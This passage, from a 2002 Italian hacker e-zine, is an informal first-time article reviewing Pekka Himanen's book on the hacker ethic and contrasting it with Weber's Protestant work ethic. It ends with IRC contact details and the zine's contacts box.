| precedentemente esposte va aggiunto il denaro, che può comprare la | | sopravvivenza, qualche volta anche la vita sociale, ma MAI | | l'intrattenimento. | | Tutto questo discorso è diametralmente opposto per un hacker. Per un | | hacker la sopravvivenza non conta moltissimo perchè può sopravvivere | | anche facendo ciò che gli piace (pensate ai coder e ai sysadmin che | | hanno un carriera hackeristica nel loro passato). Per quanto riguarda le | | vita sociale, va detto che non è molto differente da quella delle | | persone normali se non per il fatto che un hacker usa il pc per | | comunicare con i suoi amici di rete e che i suoi amici sono | | principalmente virtuali, pensate ai vostri irc-friend. | | Il vero e unico scopo massimo nella vita di un hacker è quello di | | DIVERTIRSI. Pensate all'ultimo programma che avete scritto, all'ultimo | | sistema che avete bucato o a qualcosa del genere. Perchè l'avete fatto? | | Semplicemente per divertirvi e questa è una cosa eccezionale. Linux è | | nato per divertimento, Napster è nato per divertimento, addirittura | | Internet non sarebbe nato senza il divertimento! | | Qui finisce il prologo di Linus Trovalds che passa il testimone a Pekka | | Himanen. | | | | L'ottimo lavoro svolto da Himanen è consistito soprattutto nel confronto | | tra l'etica hacker e l'etica protestante, presentata da un certo Max | | Weber nel suo libro "L'etica protestante e lo spirito del capitalismo". | | Comincerei a fare una tabella che riassume i principi fondamentali di | | queste due diverse correnti di pensiero: | | ___________________________ ___________________________________ | | N°| Etica protestante | Etica hacker | | | --|---------------------------|-----------------------------------| | | 1| denaro | passione-------\ Etica del lavoro | | | 2| lavoro | libertà--------/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ | | | 3| ottimizzazione | valore sociale-\ Etica del denaro | | | 4| flessibilità | apertura-------/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ | | | 5| stabilità | attività-------\ Etica del network| | | 6| determinazione | responsabilità-/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| | | 7| misurabilità dei risultati| CREATIVITÀ | | | ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ | | Il netto contrasto tra i due stili di pensiero e di vita mi sembrano più | | che evidenti. Vengono trattati tutti questi punti di confronto nel | | libro, ma non è il caso di riassumere tutto in poche righe rischiando | | così di compromettere l'integrità del testo originale. Salterò pertanto | | i primi 6 capitoli del libro e mi limiterò a parlarvi del settimo ed | | ultimo capitolo, quello che in un certo senso "tira le somme". Vedrò di | | fare riferimento il più possibile a ciò che nei primi sei capitoli mi ha | | colpito (ricordate che il mio articolo non mira assolutamente | | all'oggettività, anzi, come dice Morpheus quando Neo gli chiede se è | | morto: "Tutto l'opposto.") | | | | - PASSIONE | | La passione è ciò che Trovalds ha chiamato "intrattenimento". Una | | passione non è altro che qualcosa che diverte l'hacker mentre la sta | | mettendo in pratica. Quando un hacker fa qualcosa che l'ho diverte è | | perchè lo ritiene interessante e degno di tutto il suo impegno. | | | | - LIBERTÀ | | Chi lavora sa cosa significa avere scadenze da rispettare, orari rigidi | | ai quali attenersi, ecc. ecc. Pensate a una giornata lavorativa: questo | | è ciò a cui ci ha portato l'etica protestante. Un hacker vive invece in | | modo del tutto diverso, non ha tempi da rispettare, sceglie gli orari | | che preferisce e non ha nessun superiore a cui deve sottostare. Questo | | significa "libertà", non significa avere i soldi per fare tutto ciò che | | si vuole. | | | | - VALORE SOCIALE | | Molti di voi forse fanno parte di una crew. Una delle cose che rendono | | fantastico l'essere hacker sono proprio le crew, possono essere grandi, | | piccole, famose, ignote, riservate a certe persone, libere, ecc. ecc. ma | | hanno davvero la capacità di farci sentire uniti, come una comunità. | | Questo discorso può essere esteso anche ai canali irc o ai ng che | | frequentiamo, tanto il concetto è lo stesso. Il punto è che ciò che ci | | spinge ad avviare un progetto di qualsiasi tipo con alcuni amici della | | nostra crew è il valore sociale di qual progetto. All'interno di una | | mini-società come un crew il vero collante della stessa sono proprio i | | pregetti che si fanno con gli amici. Sentirsi accettato ed essere | | riconosciuto membro di un gruppo è davvero molto interessante per un | | hacker. | | | | - APERTURA | | Apertura o condivisione sono termini che sentiamo spesso. Pensiamo a | | espressioni tipo: "open source", "file sharing", ... Secondo voi perchè | | è stato scelto proprio l'aggettivo _aperto_ per indicare i codici | | sorgenti liberi e disponibili a tutti? | | Quante volte il lavoro di un hacker viene fatto per il bene della | | comunità e non per sè stesso? Come sarebbe ora Internet senza il lavoro | | _gratuito_ degli hacker? Riagganciando a questo concetto quello | | precedente riguardante le crew: vi è mai capitato di fare qualcosa | | insieme ai vostri compagni di crew? L'avete fatto per il vostro bene o | | per quello della crew? | | | | - ATTIVITÀ | | Attività è l'esatto contrario di passività. L'hacker non è mai un utente | | passivo di Internet e della tecnologia in generale. Cerca sempre di | | migliorare ciò che usa. Tutto l'opposto succede a scuola, dove l'hacker | | cerca di distruggere l'ambiente in cui è costretto, ma questo è un altro | | discorso. | | | | - RESPONSABILITÀ | | Sembra strano ma gli hacker sono pure altruisti. Per un hacker | | responsabilità significa occuparsi degli altri. Provo a farvi un esempio | | basato sulla mia esperienza. Io sono un newbies e mi capita spesso di | | essere aiutato da hacker incontrati su irc e penso che capiti pure a | | voi. Cosa può essere che spinge un hacker ad aiutare qualcun altro? | | Semplice, la ferma convinzione di un hacker che sia necessario aiutare | | il prossimo e la responsabilità di tutti gli utenti della Rete di | | renderla migliore. | | | | - CREATIVITÀ | | Sappiate che se siete hacker e rispettate tutti i 6 precedenti principi | | siete davvero dei grandi ma se rispettate anche l'ultimo principio, la | | creatività, allora siete molto vicini a Dio. Cacchio, cos'è la | | creatività lo sappiamo tutti, ma che cos'è applicata all'hacking? È | | l'usare il pc in modo "diverso" dal solito, è il voler sapere come le | | cose funzionano, è il saper creare qualcosa di veramente bello, anche | | dal punto di vista artistico. Lo dicono tutti, ma pochi lo pensando | | davvero: l'hacking è un'arte e come tale richiede creatività. | | | | Bene, questo è quanto. Il libro ovviamente dice altro, infatti vi invito | | a comprare il libro, farvelo prestare, cercarlo in biblioteca, chiedermi | | se ve lo regalo, ecc. Anche se il libro non vi piacerà perchè è noioso o | | perchè ha la copertina rossa e a voi il rosso non piace vi assicuro che | | non avrete perso nè tempo nè denaro, perchè (secondo me) è costruttivo | | conoscere un punto di vista che cerca di essere oggettivo come quello di | | Pekka Himanen. | | | | Vi do un altro po' di spunti di riflessione interessanti che il libro | | propone: | | | | 1) Monastero vs Accademia | | Un paragone interessante è quello tra i monasteri e le università, che | | sono istituzioni assai diverse, la prima è più vicina all'etica | | protestante, mentre la seconda è più vicina all'etica hacker. | | All'interno del monastero infatti vanno seguite regole assai precise, | | limiti di spazio e di tempo soffocanti e qualsiasi attività ricreativa è | | vietata. Nel mondo accademico invece troviamo una situazione di | | condivisione delle conoscenze come nel mondo hacker. Anche nel mondo | | hacker succede qualcosa di simile. Quando uno trova un bug nel kernel di | | Linux rende pubblica la sua scoperta o se ne sbatte di tutto e di tutti? | | Ah, in mezzo a tutto sto bel discorso il nostro Himanen ci infila questa | | citazione di Platone: "l'individuo libero non deve essere forzato, come | | uno schiavo, ad apprendere disciplina alcuna". Io vi consiglio di | | sbatterla in faccia alla vostra profe di Storia la prossima volta che vi | | interroga e non avete studiato. | | | | 2) Venerdì vs Domenica | | In quest'altro paragone si contrappongono il Venerdì che è un giorno | | lavorativo alla Domenica che è un giorno festivo. Questa divisione non è | | per niente netta, anzi, stiamo andando incontro a una venerdizzazione | | della Domenica, cioè il tempo libero viene anch'esso ottimizzato come il | | lavoro. Se si fa una gita con la propria famiglia il tempo a | | disposizione viene accuratamente organizzato. Questa mentalità invece è | | opposta per un hacker. | | | | 3) Gli hacker non sono necessariamente comunisti | | Il libro sfata pure il mito degli hacker necessariamente di sinistra. | | Infatti è un controsenso, il comunismo implica un modello di autorità | | centralizzata, un'economia statalista. Tutto ciò è estraneo a molti | | hacker. | | | | 4) Io sono un hacker di culinaria | | Mica nel senso che mi piace stare col culo per aria, semplicemente si | | può essere hacker anche in campi totalmente estranei all'informatica. | | Sinceramente non condivido molto quest'ultima affermazione ma mi | | sembrava sbagliato non riportarla. | | | | Adesso ho davvero finito. Mi sono accorto, rileggendolo, che il mio | | articolo è un gran rottura di coglioni. Mi dispiace davvero, ma è il mio | | primo articolo. | | Ringrazio tutti quelli che mi conoscono, così non devo perdere troppo | | tempo a pensare chi voglio salutare. | | Per eventuali feedback, contattatemi tramite brevi messaggi via MemoServ | | di Azzurranet. Si fa così: | | - connettersi con un client irc al server irc.azzurra.it | | - una volta connessi si digiti: /msg MemoServ SEND bubbo | | - se volete potete scrivermi anche il vostro indirizzo email nel | | messaggio, mi fareste un favore | | | | Alla prossima! | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [C0NTATTi] #06 - 25/04/2002 | | D0VE TR0VARCi [oq ~ staff] 0x1D/0x1D | +--------------------------------------------------------------------------+ | | | WEB: | | http://ondaquadra.cjb.net | | | | MAiL: | | mail@ondaquadra.cjb.net | | | | GLi ARTiC0Li MANDATELi QUi: | | articoli@ondaquadra.cjb.net | | | | iRC - iNTERNET RELAY CHAT: | | /server irc.azzurra.org 6667 | | /join #ondaquadra | | /join #hackmaniaci | | | +--------------------------------------------------------------------------+